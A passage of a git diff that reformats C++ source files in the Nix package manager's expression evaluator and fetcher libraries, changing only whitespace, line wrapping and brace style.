(!((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') || c == '_' || c == '\'' + || c == '-')) { printLiteralString(str, s); return str; } @@ -112,21 +111,22 @@ printIdentifier(std::ostream & str, std::string_view s) { static bool isVarName(std::string_view s) { - if (s.size() == 0) return false; - if (isReservedKeyword(s)) return false; + if (s.size() == 0) + return false; + if (isReservedKeyword(s)) + return false; char c = s[0]; - if ((c >= '0' && c <= '9') || c == '-' || c == '\'') return false; + if ((c >= '0' && c <= '9') || c == '-' || c == '\'') + return false; for (auto & i : s) - if (!((i >= 'a' && i <= 'z') || - (i >= 'A' && i <= 'Z') || - (i >= '0' && i <= '9') || - i == '_' || i == '-' || i == '\'')) + if (!((i >= 'a' && i <= 'z') || (i >= 'A' && i <= 'Z') || (i >= '0' && i <= '9') || i == '_' || i == '-' + || i == '\'')) return false; return true; } -std::ostream & -printAttributeName(std::ostream & str, std::string_view name) { +std::ostream & printAttributeName(std::ostream & str, std::string_view name) +{ if (isVarName(name)) str << name; else @@ -134,7 +134,7 @@ printAttributeName(std::ostream & str, std::string_view name) { return str; } -bool isImportantAttrName(const std::string& attrName) +bool isImportantAttrName(const std::string & attrName) { return attrName == "type" || attrName == "_type"; } @@ -144,12 +144,11 @@ typedef std::pair AttrPair; struct ImportantFirstAttrNameCmp { - bool operator()(const AttrPair& lhs, const AttrPair& rhs) const + bool operator()(const AttrPair & lhs, const AttrPair & rhs) const { auto lhsIsImportant = isImportantAttrName(lhs.first); auto rhsIsImportant = isImportantAttrName(rhs.first); - return std::forward_as_tuple(!lhsIsImportant, lhs.first) - < std::forward_as_tuple(!rhsIsImportant, rhs.first); + return std::forward_as_tuple(!lhsIsImportant, lhs.first) < std::forward_as_tuple(!rhsIsImportant, rhs.first); } }; @@ -275,7 +274,8 @@ private: std::optional storePath; if (auto i = v.attrs()->get(state.sDrvPath)) { NixStringContext context; - storePath = state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation"); + storePath = + state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation"); } /* This unfortunately breaks printing nested values because of @@ -499,10 +499,10 @@ private: output << ANSI_NORMAL; } else if (v.isThunk() || v.isApp()) { if (options.ansiColors) - output << ANSI_MAGENTA; + output << ANSI_MAGENTA; output << "«thunk»"; if (options.ansiColors) - output << ANSI_NORMAL; + output << ANSI_NORMAL; } else { unreachable(); } @@ -593,8 +593,7 @@ private: } } catch (Error & e) { if (options.errors == ErrorPrintBehavior::Throw - || (options.errors == ErrorPrintBehavior::ThrowTopLevel - && depth == 0)) { + || (options.errors == ErrorPrintBehavior::ThrowTopLevel && depth == 0)) { throw; } printError_(e); @@ -603,7 +602,11 @@ private: public: Printer(std::ostream & output, EvalState & state, PrintOptions options) - : output(output), state(state), options(options) { } + : output(output) + , state(state) + , options(options) + { + } void print(Value & v) { @@ -636,8 +639,8 @@ std::ostream & operator<<(std::ostream & output, const ValuePrinter & printer) template<> HintFmt & HintFmt::operator%(const ValuePrinter & value) { - fmt % value; - return *this; + fmt % value; + return *this; } } diff --git a/src/libexpr/search-path.cc b/src/libexpr/search-path.cc index 76aecd4e5..8cc45913f 100644 --- a/src/libexpr/search-path.cc +++ b/src/libexpr/search-path.cc @@ -2,8 +2,7 @@ namespace nix { -std::optional LookupPath::Prefix::suffixIfPotentialMatch( - std::string_view path) const +std::optional LookupPath::Prefix::suffixIfPotentialMatch(std::string_view path) const { auto n = s.size(); @@ -21,29 +20,25 @@ std::optional LookupPath::Prefix::suffixIfPotentialMatch( } /* Skip next path separator. */ - return { - path.substr(needSeparator ? n + 1 : n) - }; + return {path.substr(needSeparator ? n + 1 : n)}; } - LookupPath::Elem LookupPath::Elem::parse(std::string_view rawElem) { size_t pos = rawElem.find('='); - return LookupPath::Elem { - .prefix = Prefix { - .s = pos == std::string::npos - ? std::string { "" } - : std::string { rawElem.substr(0, pos) }, - }, - .path = Path { - .s = std::string { rawElem.substr(pos + 1) }, - }, + return LookupPath::Elem{ + .prefix = + Prefix{ + .s = pos == std::string::npos ? std::string{""} : std::string{rawElem.substr(0, pos)}, + }, + .path = + Path{ + .s = std::string{rawElem.substr(pos + 1)}, + }, }; } - LookupPath LookupPath::parse(const Strings & rawElems) { LookupPath res; diff --git a/src/libexpr/value-to-json.cc b/src/libexpr/value-to-json.cc index 4c0667d9e..edeb57dc7 100644 --- a/src/libexpr/value-to-json.cc +++ b/src/libexpr/value-to-json.cc @@ -7,107 +7,108 @@ #include #include - namespace nix { using json = nlohmann::json; // TODO: rename. It doesn't print. -json printValueAsJSON(EvalState & state, bool strict, - Value & v, const PosIdx pos, NixStringContext & context, bool copyToStore) +json printValueAsJSON( + EvalState & state, bool strict, Value & v, const PosIdx pos, NixStringContext & context, bool copyToStore) { checkInterrupt(); - if (strict) state.forceValue(v, pos); + if (strict) + state.forceValue(v, pos); json out; switch (v.type()) { - case nInt: - out = v.integer().value; - break; + case nInt: + out = v.integer().value; + break; - case nBool: - out = v.boolean(); - break; + case nBool: + out = v.boolean(); + break; - case nString: - copyContext(v, context); - out = v.c_str(); - break; + case nString: + copyContext(v, context); + out = v.c_str(); + break; - case nPath: - if (copyToStore) - out = state.store->printStorePath( - state.copyPathToStore(context, v.path())); - else - out = v.path().path.abs(); - break; + case nPath: + if (copyToStore) + out = state.store->printStorePath(state.copyPathToStore(context, v.path())); + else + out = v.path().path.abs(); + break; - case nNull: - // already initialized as null - break; + case nNull: + // already initialized as null + break; - case nAttrs: { - auto maybeString = state.tryAttrsToString(pos, v, context, false, false); - if (maybeString) { - out = *maybeString; - break; - } - if (auto i = v.attrs()->get(state.sOutPath)) - return printValueAsJSON(state, strict, *i->value, i->pos, context, copyToStore); - else { - out = json::object(); - for (auto & a : v.attrs()->lexicographicOrder(state.symbols)) { - try { - out.emplace(state.symbols[a->name], printValueAsJSON(state, strict, *a->value, a->pos, context, copyToStore)); - } catch (Error & e) { - e.addTrace(state.positions[a->pos], - HintFmt("while evaluating attribute '%1%'", state.symbols[a->name])); - throw; - } - } - } + case nAttrs: { + auto maybeString = state.tryAttrsToString(pos, v, context, false, false); + if (maybeString) { + out = *maybeString; break; } - - case nList: { - out = json::array(); - int i = 0; - for (auto elem : v.listItems()) { + if (auto i = v.attrs()->get(state.sOutPath)) + return printValueAsJSON(state, strict, *i->value, i->pos, context, copyToStore); + else { + out = json::object(); + for (auto & a : v.attrs()->lexicographicOrder(state.symbols)) { try { - out.push_back(printValueAsJSON(state, strict, *elem, pos, context, copyToStore)); + out.emplace( + state.symbols[a->name], + printValueAsJSON(state, strict, *a->value, a->pos, context, copyToStore)); } catch (Error & e) { - e.addTrace(state.positions[pos], - HintFmt("while evaluating list element at index %1%", i)); + e.addTrace( + state.positions[a->pos], HintFmt("while evaluating attribute '%1%'", state.symbols[a->name])); throw; } - i++; } - break; } + break; + } - case nExternal: - return v.external()->printValueAsJSON(state, strict, context, copyToStore); - break; + case nList: { + out = json::array(); + int i = 0; + for (auto elem : v.listItems()) { + try { + out.push_back(printValueAsJSON(state, strict, *elem, pos, context, copyToStore)); + } catch (Error & e) { + e.addTrace(state.positions[pos], HintFmt("while evaluating list element at index %1%", i)); + throw; + } + i++; + } + break; + } - case nFloat: - out = v.fpoint(); - break; + case nExternal: + return v.external()->printValueAsJSON(state, strict, context, copyToStore); + break; - case nThunk: - case nFunction: - state.error( - "cannot convert %1% to JSON", - showType(v) - ) - .atPos(v.determinePos(pos)) - .debugThrow(); + case nFloat: + out = v.fpoint(); + break; + + case nThunk: + case nFunction: + state.error("cannot convert %1% to JSON", showType(v)).atPos(v.determinePos(pos)).debugThrow(); } return out; } -void printValueAsJSON(EvalState & state, bool strict, - Value & v, const PosIdx pos, std::ostream & str, NixStringContext & context, bool copyToStore) +void printValueAsJSON( + EvalState & state, + bool strict, + Value & v, + const PosIdx pos, + std::ostream & str, + NixStringContext & context, + bool copyToStore) { try { str << printValueAsJSON(state, strict, v, pos, context, copyToStore); @@ -116,12 +117,10 @@ void printValueAsJSON(EvalState & state, bool strict, } } -json ExternalValueBase::printValueAsJSON(EvalState & state, bool strict, - NixStringContext & context, bool copyToStore) const +json ExternalValueBase::printValueAsJSON( + EvalState & state, bool strict, NixStringContext & context, bool copyToStore) const { - state.error("cannot convert %1% to JSON", showType()) - .debugThrow(); + state.error("cannot convert %1% to JSON", showType()).debugThrow(); } - } diff --git a/src/libexpr/value-to-xml.cc b/src/libexpr/value-to-xml.cc index e26fff71b..0874608c3 100644 --- a/src/libexpr/value-to-xml.cc +++ b/src/libexpr/value-to-xml.cc @@ -5,10 +5,8 @@ #include - namespace nix { - static XMLAttrs singletonAttrs(const std::string & name, std::string_view value) { XMLAttrs attrs; @@ -16,12 +14,16 @@ static XMLAttrs singletonAttrs(const std::string & name, std::string_view value) return attrs; } - -static void printValueAsXML(EvalState & state, bool strict, bool location, - Value & v, XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen, +static void printValueAsXML( + EvalState & state, + bool strict, + bool location, + Value & v, + XMLWriter & doc, + NixStringContext & context, + PathSet & drvsSeen, const PosIdx pos); - static void posToXML(EvalState & state, XMLAttrs & xmlAttrs, const Pos & pos) { if (auto path = std::get_if(&pos.origin)) @@ -30,142 +32,167 @@ static void posToXML(EvalState & state, XMLAttrs & xmlAttrs, const Pos & pos) xmlAttrs["column"] = fmt("%1%", pos.column); } - -static void showAttrs(EvalState & state, bool strict, bool location, - const Bindings & attrs, XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen) +static void showAttrs( + EvalState & state, + bool strict, + bool location, + const Bindings & attrs, + XMLWriter & doc, + NixStringContext & context, + PathSet & drvsSeen) { StringSet names; for (auto & a : attrs.lexicographicOrder(state.symbols)) { XMLAttrs xmlAttrs; xmlAttrs["name"] = state.symbols[a->name]; - if (location && a->pos) posToXML(state, xmlAttrs, state.positions[a->pos]); + if (location && a->pos) + posToXML(state, xmlAttrs, state.positions[a->pos]); XMLOpenElement _(doc, "attr", xmlAttrs); - printValueAsXML(state, strict, location, - *a->value, doc, context, drvsSeen, a->pos); + printValueAsXML(state, strict, location, *a->value, doc, context, drvsSeen, a->pos); } } - -static void printValueAsXML(EvalState & state, bool strict, bool location, - Value & v, XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen, +static void printValueAsXML( + EvalState & state, + bool strict, + bool location, + Value & v, + XMLWriter & doc, + NixStringContext & context, + PathSet & drvsSeen, const PosIdx pos) { checkInterrupt(); - if (strict) state.forceValue(v, pos); + if (strict) + state.forceValue(v, pos); switch (v.type()) { - case nInt: - doc.writeEmptyElement("int", singletonAttrs("value", fmt("%1%", v.integer()))); - break; + case nInt: + doc.writeEmptyElement("int", singletonAttrs("value", fmt("%1%", v.integer()))); + break; - case nBool: - doc.writeEmptyElement("bool", singletonAttrs("value", v.boolean() ? "true" : "false")); - break; + case nBool: + doc.writeEmptyElement("bool", singletonAttrs("value", v.boolean() ? "true" : "false")); + break; - case nString: - /* !!! show the context? */ - copyContext(v, context); - doc.writeEmptyElement("string", singletonAttrs("value", v.c_str())); - break; + case nString: + /* !!! show the context? */ + copyContext(v, context); + doc.writeEmptyElement("string", singletonAttrs("value", v.c_str())); + break; - case nPath: - doc.writeEmptyElement("path", singletonAttrs("value", v.path().to_string())); - break; + case nPath: + doc.writeEmptyElement("path", singletonAttrs("value", v.path().to_string())); + break; - case nNull: - doc.writeEmptyElement("null"); - break; + case nNull: + doc.writeEmptyElement("null"); + break; - case nAttrs: - if (state.isDerivation(v)) { - XMLAttrs xmlAttrs; - - Path drvPath; - if (auto a = v.attrs()->get(state.sDrvPath)) { - if (strict) state.forceValue(*a->value, a->pos); - if (a->value->type() == nString) - xmlAttrs["drvPath"] = drvPath = a->value->c_str(); - } - - if (auto a = v.attrs()->get(state.sOutPath)) { - if (strict) state.forceValue(*a->value, a->pos); - if (a->value->type() == nString) - xmlAttrs["outPath"] = a->value->c_str(); - } - - XMLOpenElement _(doc, "derivation", xmlAttrs); - - if (drvPath != "" && drvsSeen.insert(drvPath).second) - showAttrs(state, strict, location, *v.attrs(), doc, context, drvsSeen); - else - doc.writeEmptyElement("repeated"); - } - - else { - XMLOpenElement _(doc, "attrs"); - showAttrs(state, strict, location, *v.attrs(), doc, context, drvsSeen); - } - - break; - - case nList: { - XMLOpenElement _(doc, "list"); - for (auto v2 : v.listItems()) - printValueAsXML(state, strict, location, *v2, doc, context, drvsSeen, pos); - break; - } - - case nFunction: { - if (!v.isLambda()) { - // FIXME: Serialize primops and primopapps - doc.writeEmptyElement("unevaluated"); - break; - } + case nAttrs: + if (state.isDerivation(v)) { XMLAttrs xmlAttrs; - if (location) posToXML(state, xmlAttrs, state.positions[v.payload.lambda.fun->pos]); - XMLOpenElement _(doc, "function", xmlAttrs); - if (v.payload.lambda.fun->hasFormals()) { - XMLAttrs attrs; - if (v.payload.lambda.fun->arg) attrs["name"] = state.symbols[v.payload.lambda.fun->arg]; - if (v.payload.lambda.fun->formals->ellipsis) attrs["ellipsis"] = "1"; - XMLOpenElement _(doc, "attrspat", attrs); - for (auto & i : v.payload.lambda.fun->formals->lexicographicOrder(state.symbols)) - doc.writeEmptyElement("attr", singletonAttrs("name", state.symbols[i.name])); - } else - doc.writeEmptyElement("varpat", singletonAttrs("name", state.symbols[v.payload.lambda.fun->arg])); + Path drvPath; + if (auto a = v.attrs()->get(state.sDrvPath)) { + if (strict) + state.forceValue(*a->value, a->pos); + if (a->value->type() == nString) + xmlAttrs["drvPath"] = drvPath = a->value->c_str(); + } - break; + if (auto a = v.attrs()->get(state.sOutPath)) { + if (strict) + state.forceValue(*a->value, a->pos); + if (a->value->type() == nString) + xmlAttrs["outPath"] = a->value->c_str(); + } + + XMLOpenElement _(doc, "derivation", xmlAttrs); + + if (drvPath != "" && drvsSeen.insert(drvPath).second) + showAttrs(state, strict, location, *v.attrs(), doc, context, drvsSeen); + else + doc.writeEmptyElement("repeated"); } - case nExternal: - v.external()->printValueAsXML(state, strict, location, doc, context, drvsSeen, pos); - break; + else { + XMLOpenElement _(doc, "attrs"); + showAttrs(state, strict, location, *v.attrs(), doc, context, drvsSeen); + } - case nFloat: - doc.writeEmptyElement("float", singletonAttrs("value", fmt("%1%", v.fpoint()))); - break; + break; - case nThunk: + case nList: { + XMLOpenElement _(doc, "list"); + for (auto v2 : v.listItems()) + printValueAsXML(state, strict, location, *v2, doc, context, drvsSeen, pos); + break; + } + + case nFunction: { + if (!v.isLambda()) { + // FIXME: Serialize primops and primopapps doc.writeEmptyElement("unevaluated"); + break; + } + XMLAttrs xmlAttrs; + if (location) + posToXML(state, xmlAttrs, state.positions[v.payload.lambda.fun->pos]); + XMLOpenElement _(doc, "function", xmlAttrs); + + if (v.payload.lambda.fun->hasFormals()) { + XMLAttrs attrs; + if (v.payload.lambda.fun->arg) + attrs["name"] = state.symbols[v.payload.lambda.fun->arg]; + if (v.payload.lambda.fun->formals->ellipsis) + attrs["ellipsis"] = "1"; + XMLOpenElement _(doc, "attrspat", attrs); + for (auto & i : v.payload.lambda.fun->formals->lexicographicOrder(state.symbols)) + doc.writeEmptyElement("attr", singletonAttrs("name", state.symbols[i.name])); + } else + doc.writeEmptyElement("varpat", singletonAttrs("name", state.symbols[v.payload.lambda.fun->arg])); + + break; + } + + case nExternal: + v.external()->printValueAsXML(state, strict, location, doc, context, drvsSeen, pos); + break; + + case nFloat: + doc.writeEmptyElement("float", singletonAttrs("value", fmt("%1%", v.fpoint()))); + break; + + case nThunk: + doc.writeEmptyElement("unevaluated"); } } - -void ExternalValueBase::printValueAsXML(EvalState & state, bool strict, - bool location, XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen, +void ExternalValueBase::printValueAsXML( + EvalState & state, + bool strict, + bool location, + XMLWriter & doc, + NixStringContext & context, + PathSet & drvsSeen, const PosIdx pos) const { doc.writeEmptyElement("unevaluated"); } - -void printValueAsXML(EvalState & state, bool strict, bool location, - Value & v, std::ostream & out, NixStringContext & context, const PosIdx pos) +void printValueAsXML( + EvalState & state, + bool strict, + bool location, + Value & v, + std::ostream & out, + NixStringContext & context, + const PosIdx pos) { XMLWriter doc(true, out); XMLOpenElement root(doc, "expr"); @@ -173,5 +200,4 @@ void printValueAsXML(EvalState & state, bool strict, bool location, printValueAsXML(state, strict, location, v, doc, context, drvsSeen, pos); } - } diff --git a/src/libexpr/value/context.cc b/src/libexpr/value/context.cc index 40d08da59..55492de0a 100644 --- a/src/libexpr/value/context.cc +++ b/src/libexpr/value/context.cc @@ -5,9 +5,7 @@ namespace nix { -NixStringContextElem NixStringContextElem::parse( - std::string_view s0, - const ExperimentalFeatureSettings & xpSettings) +NixStringContextElem NixStringContextElem::parse(std::string_view s0, const ExperimentalFeatureSettings & xpSettings) { std::string_view s = s0; @@ -16,16 +14,16 @@ NixStringContextElem NixStringContextElem::parse( // Case on whether there is a '!' size_t index = s.find("!"); if (index == std::string_view::npos) { - return SingleDerivedPath::Opaque { - .path = StorePath { s }, + return SingleDerivedPath::Opaque{ + .path = StorePath{s}, }; } else { - std::string output { s.substr(0, index) }; + std::string output{s.substr(0, index)}; // Advance string to parse after the '!' s = s.substr(index + 1); auto drv = make_ref(parseRest()); drvRequireExperiment(*drv, xpSettings); - return SingleDerivedPath::Built { + return SingleDerivedPath::Built{ .drvPath = std::move(drv), .output = std::move(output), }; @@ -33,8 +31,7 @@ NixStringContextElem NixStringContextElem::parse( }; if (s.size() == 0) { - throw BadNixStringContextElem(s0, - "String context element should never be an empty string"); + throw BadNixStringContextElem(s0, "String context element should never be an empty string"); } switch (s.at(0)) { @@ -44,28 +41,23 @@ NixStringContextElem NixStringContextElem::parse( // Find *second* '!' if (s.find("!") == std::string_view::npos) { - throw BadNixStringContextElem(s0, - "String content element beginning with '!' should have a second '!'"); + throw BadNixStringContextElem(s0, "String content element beginning with '!' should have a second '!'"); } - return std::visit( - [&](auto x) -> NixStringContextElem { return std::move(x); }, - parseRest()); + return std::visit([&](auto x) -> NixStringContextElem { return std::move(x); }, parseRest()); } case '=': { - return NixStringContextElem::DrvDeep { - .drvPath = StorePath { s.substr(1) }, + return NixStringContextElem::DrvDeep{ + .drvPath = StorePath{s.substr(1)}, }; } default: { // Ensure no '!' if (s.find("!") != std::string_view::npos) { - throw BadNixStringContextElem(s0, - "String content element not beginning with '!' should not have a second '!'"); + throw BadNixStringContextElem( + s0, "String content element not beginning with '!' should not have a second '!'"); } - return std::visit( - [&](auto x) -> NixStringContextElem { return std::move(x); }, - parseRest()); + return std::visit([&](auto x) -> NixStringContextElem { return std::move(x); }, parseRest()); } } } @@ -76,31 +68,31 @@ std::string NixStringContextElem::to_string() const std::function toStringRest; toStringRest = [&](auto & p) { - std::visit(overloaded { - [&](const SingleDerivedPath::Opaque & o) { - res += o.path.to_string(); + std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque & o) { res += o.path.to_string(); }, + [&](const SingleDerivedPath::Built & o) { + res += o.output; + res += '!'; + toStringRest(*o.drvPath); + }, }, - [&](const SingleDerivedPath::Built & o) { - res += o.output; - res += '!'; - toStringRest(*o.drvPath); - }, - }, p.raw()); + p.raw()); }; - std::visit(overloaded { - [&](const NixStringContextElem::Built & b) { - res += '!'; - toStringRest(b); + std::visit( + overloaded{ + [&](const NixStringContextElem::Built & b) { + res += '!'; + toStringRest(b); + }, + [&](const NixStringContextElem::Opaque & o) { toStringRest(o); }, + [&](const NixStringContextElem::DrvDeep & d) { + res += '='; + res += d.drvPath.to_string(); + }, }, - [&](const NixStringContextElem::Opaque & o) { - toStringRest(o); - }, - [&](const NixStringContextElem::DrvDeep & d) { - res += '='; - res += d.drvPath.to_string(); - }, - }, raw); + raw); return res; } diff --git a/src/libfetchers-tests/public-key.cc b/src/libfetchers-tests/public-key.cc index 39a7cf4bd..3714aa20a 100644 --- a/src/libfetchers-tests/public-key.cc +++ b/src/libfetchers-tests/public-key.cc @@ -13,39 +13,41 @@ class PublicKeyTest : public CharacterizationTest std::filesystem::path unitTestData = getUnitTestData() / "public-key"; public: - std::filesystem::path goldenMaster(std::string_view testStem) const override { + std::filesystem::path goldenMaster(std::string_view testStem) const override + { return unitTestData / testStem; } }; -#define TEST_JSON(FIXTURE, NAME, VAL) \ - TEST_F(FIXTURE, PublicKey_ ## NAME ## _from_json) { \ - readTest(#NAME ".json", [&](const auto & encoded_) { \ - fetchers::PublicKey expected { VAL }; \ - fetchers::PublicKey got = nlohmann::json::parse(encoded_); \ - ASSERT_EQ(got, expected); \ - }); \ - } \ - \ - TEST_F(FIXTURE, PublicKey_ ## NAME ## _to_json) { \ - writeTest(#NAME ".json", [&]() -> json { \ - return nlohmann::json(fetchers::PublicKey { VAL }); \ - }, [](const auto & file) { \ - return json::parse(readFile(file)); \ - }, [](const auto & file, const auto & got) { \ - return writeFile(file, got.dump(2) + "\n"); \ - }); \ +#define TEST_JSON(FIXTURE, NAME, VAL) \ + TEST_F(FIXTURE, PublicKey_##NAME##_from_json) \ + { \ + readTest(#NAME ".json", [&](const auto & encoded_) { \ + fetchers::PublicKey expected{VAL}; \ + fetchers::PublicKey got = nlohmann::json::parse(encoded_); \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(FIXTURE, PublicKey_##NAME##_to_json) \ + { \ + writeTest( \ + #NAME ".json", \ + [&]() -> json { return nlohmann::json(fetchers::PublicKey{VAL}); }, \ + [](const auto & file) { return json::parse(readFile(file)); }, \ + [](const auto & file, const auto & got) { return writeFile(file, got.dump(2) + "\n"); }); \ } -TEST_JSON(PublicKeyTest, simple, (fetchers::PublicKey { .type = "ssh-rsa", .key = "ABCDE" })) +TEST_JSON(PublicKeyTest, simple, (fetchers::PublicKey{.type = "ssh-rsa", .key = "ABCDE"})) -TEST_JSON(PublicKeyTest, defaultType, fetchers::PublicKey { .key = "ABCDE" }) +TEST_JSON(PublicKeyTest, defaultType, fetchers::PublicKey{.key = "ABCDE"}) #undef TEST_JSON -TEST_F(PublicKeyTest, PublicKey_noRoundTrip_from_json) { +TEST_F(PublicKeyTest, PublicKey_noRoundTrip_from_json) +{ readTest("noRoundTrip.json", [&](const auto & encoded_) { - fetchers::PublicKey expected = { .type = "ssh-ed25519", .key = "ABCDE" }; + fetchers::PublicKey expected = {.type = "ssh-ed25519", .key = "ABCDE"}; fetchers::PublicKey got = nlohmann::json::parse(encoded_); ASSERT_EQ(got, expected); }); diff --git a/src/libfetchers/attrs.cc b/src/libfetchers/attrs.cc index 47f6aa8c5..6c5af94dd 100644 --- a/src/libfetchers/attrs.cc +++ b/src/libfetchers/attrs.cc @@ -15,7 +15,7 @@ Attrs jsonToAttrs(const nlohmann::json & json) else if (i.value().is_string()) attrs.emplace(i.key(), i.value().get()); else if (i.value().is_boolean()) - attrs.emplace(i.key(), Explicit { i.value().get() }); + attrs.emplace(i.key(), Explicit{i.value().get()}); else throw Error("unsupported input attribute type in lock file"); } @@ -33,7 +33,8 @@ nlohmann::json attrsToJSON(const Attrs & attrs) json[attr.first] = *v; } else if (auto v = std::get_if>(&attr.second)) { json[attr.first] = v->t; - } else unreachable(); + } else + unreachable(); } return json; } @@ -41,7 +42,8 @@ nlohmann::json attrsToJSON(const Attrs & attrs) std::optional maybeGetStrAttr(const Attrs & attrs, const std::string & name) { auto i = attrs.find(name); - if (i == attrs.end()) return {}; + if (i == attrs.end()) + return {}; if (auto v = std::get_if(&i->second)) return *v; throw Error("input attribute '%s' is not a string %s", name, attrsToJSON(attrs).dump()); @@ -58,7 +60,8 @@ std::string getStrAttr(const Attrs & attrs, const std::string & name) std::optional maybeGetIntAttr(const Attrs & attrs, const std::string & name) { auto i = attrs.find(name); - if (i == attrs.end()) return {}; + if (i == attrs.end()) + return {}; if (auto v = std::get_if(&i->second)) return *v; throw Error("input attribute '%s' is not an integer", name); @@ -75,7 +78,8 @@ uint64_t getIntAttr(const Attrs & attrs, const std::string & name) std::optional maybeGetBoolAttr(const Attrs & attrs, const std::string & name) { auto i = attrs.find(name); - if (i == attrs.end()) return {}; + if (i == attrs.end()) + return {}; if (auto v = std::get_if>(&i->second)) return v->t; throw Error("input attribute '%s' is not a Boolean", name); @@ -99,7 +103,8 @@ std::map attrsToQuery(const Attrs & attrs) query.insert_or_assign(attr.first, *v); } else if (auto v = std::get_if>(&attr.second)) { query.insert_or_assign(attr.first, v->t ? "1" : "0"); - } else unreachable(); + } else + unreachable(); } return query; } diff --git a/src/libfetchers/cache.cc b/src/libfetchers/cache.cc index d369d213f..b66495448 100644 --- a/src/libfetchers/cache.cc +++ b/src/libfetchers/cache.cc @@ -43,46 +43,37 @@ struct CacheImpl : Cache state->db.isCache(); state->db.exec(schema); - state->upsert.create(state->db, - "insert or replace into Cache(domain, key, value, timestamp) values (?, ?, ?, ?)"); + state->upsert.create( + state->db, "insert or replace into Cache(domain, key, value, timestamp) values (?, ?, ?, ?)"); - state->lookup.create(state->db, - "select value, timestamp from Cache where domain = ? and key = ?"); + state->lookup.create(state->db, "select value, timestamp from Cache where domain = ? and key = ?"); } - void upsert( - const Key & key, - const Attrs & value) override + void upsert(const Key & key, const Attrs & value) override { - _state.lock()->upsert.use() - (key.first) - (attrsToJSON(key.second).dump()) - (attrsToJSON(value).dump()) - (time(0)).exec(); + _state.lock() + ->upsert.use()(key.first)(attrsToJSON(key.second).dump())(attrsToJSON(value).dump())(time(0)) + .exec(); } - std::optional lookup( - const Key & key) override + std::optional lookup(const Key & key) override { if (auto res = lookupExpired(key)) return std::move(res->value); return {}; } - std::optional lookupWithTTL( - const Key & key) override + std::optional lookupWithTTL(const Key & key) override { if (auto res = lookupExpired(key)) { if (!res->expired) return std::move(res->value); - debug("ignoring expired cache entry '%s:%s'", - key.first, attrsToJSON(key.second).dump()); + debug("ignoring expired cache entry '%s:%s'", key.first, attrsToJSON(key.second).dump()); } return {}; } - std::optional lookupExpired( - const Key & key) override + std::optional lookupExpired(const Key & key) override { auto state(_state.lock()); @@ -99,17 +90,13 @@ struct CacheImpl : Cache debug("using cache entry '%s:%s' -> '%s'", key.first, keyJSON, valueJSON); - return Result { + return Result{ .expired = settings.tarballTtl.get() == 0 || timestamp + settings.tarballTtl < time(0), .value = jsonToAttrs(nlohmann::json::parse(valueJSON)), }; } - void upsert( - Key key, - Store & store, - Attrs value, - const StorePath & storePath) override + void upsert(Key key, Store & store, Attrs value, const StorePath & storePath) override { /* Add the store prefix to the cache key to handle multiple store prefixes. */ @@ -120,14 +107,13 @@ struct CacheImpl : Cache upsert(key, value); } - std::optional lookupStorePath( - Key key, - Store & store) override + std::optional lookupStorePath(Key key, Store & store) override { key.second.insert_or_assign("store", store.storeDir); auto res = lookupExpired(key); - if (!res) return std::nullopt; + if (!res) + return std::nullopt; auto storePathS = getStrAttr(res->value, "storePath"); res->value.erase("storePath"); @@ -137,14 +123,16 @@ struct CacheImpl : Cache store.addTempRoot(res2.storePath); if (!store.isValidPath(res2.storePath)) { // FIXME: we could try to substitute 'storePath'. - debug("ignoring disappeared cache entry '%s:%s' -> '%s'", + debug( + "ignoring disappeared cache entry '%s:%s' -> '%s'", key.first, attrsToJSON(key.second).dump(), store.printStorePath(res2.storePath)); return std::nullopt; } - debug("using cache entry '%s:%s' -> '%s', '%s'", + debug( + "using cache entry '%s:%s' -> '%s', '%s'", key.first, attrsToJSON(key.second).dump(), attrsToJSON(res2.value).dump(), @@ -153,9 +141,7 @@ struct CacheImpl : Cache return res2; } - std::optional lookupStorePathWithTTL( - Key key, - Store & store) override + std::optional lookupStorePathWithTTL(Key key, Store & store) override { auto res = lookupStorePath(std::move(key), store); return res && !res->expired ? res : std::nullopt; diff --git a/src/libfetchers/fetch-settings.cc b/src/libfetchers/fetch-settings.cc index 4b4e4e29d..0b5b7e399 100644 --- a/src/libfetchers/fetch-settings.cc +++ b/src/libfetchers/fetch-settings.cc @@ -2,8 +2,6 @@ namespace nix::fetchers { -Settings::Settings() -{ -} +Settings::Settings() {} } diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc index f1b02f4e0..2df56786b 100644 --- a/src/libfetchers/fetch-to-store.cc +++ b/src/libfetchers/fetch-to-store.cc @@ -4,18 +4,11 @@ namespace nix { fetchers::Cache::Key makeFetchToStoreCacheKey( - const std::string &name, - const std::string &fingerprint, - ContentAddressMethod method, - const std::string &path) + const std::string & name, const std::string & fingerprint, ContentAddressMethod method, const std::string & path) { - return fetchers::Cache::Key{"fetchToStore", { - {"name", name}, - {"fingerprint", fingerprint}, - {"method", std::string{method.render()}}, - {"path", path} - }}; - + return fetchers::Cache::Key{ + "fetchToStore", + {{"name", name}, {"fingerprint", fingerprint}, {"method", std::string{method.render()}}, {"path", path}}}; } StorePath fetchToStore( @@ -41,17 +34,17 @@ StorePath fetchToStore( } else debug("source path '%s' is uncacheable", path); - Activity act(*logger, lvlChatty, actUnknown, + Activity act( + *logger, + lvlChatty, + actUnknown, fmt(mode == FetchMode::DryRun ? "hashing '%s'" : "copying '%s' to the store", path)); auto filter2 = filter ? *filter : defaultPathFilter; - auto storePath = - mode == FetchMode::DryRun - ? store.computeStorePath( - name, path, method, HashAlgorithm::SHA256, {}, filter2).first - : store.addToStore( - name, path, method, HashAlgorithm::SHA256, {}, filter2, repair); + auto storePath = mode == FetchMode::DryRun + ? store.computeStorePath(name, path, method, HashAlgorithm::SHA256, {}, filter2).first + : store.addToStore(name, path, method, HashAlgorithm::SHA256, {}, filter2, repair); debug(mode == FetchMode::DryRun ? "hashed '%s'" : "copied '%s' to '%s'", path, store.printStorePath(storePath)); diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index 3ae45dcf8..62611aed2 100644 --- a/src/libfetchers/fetchers.cc +++ 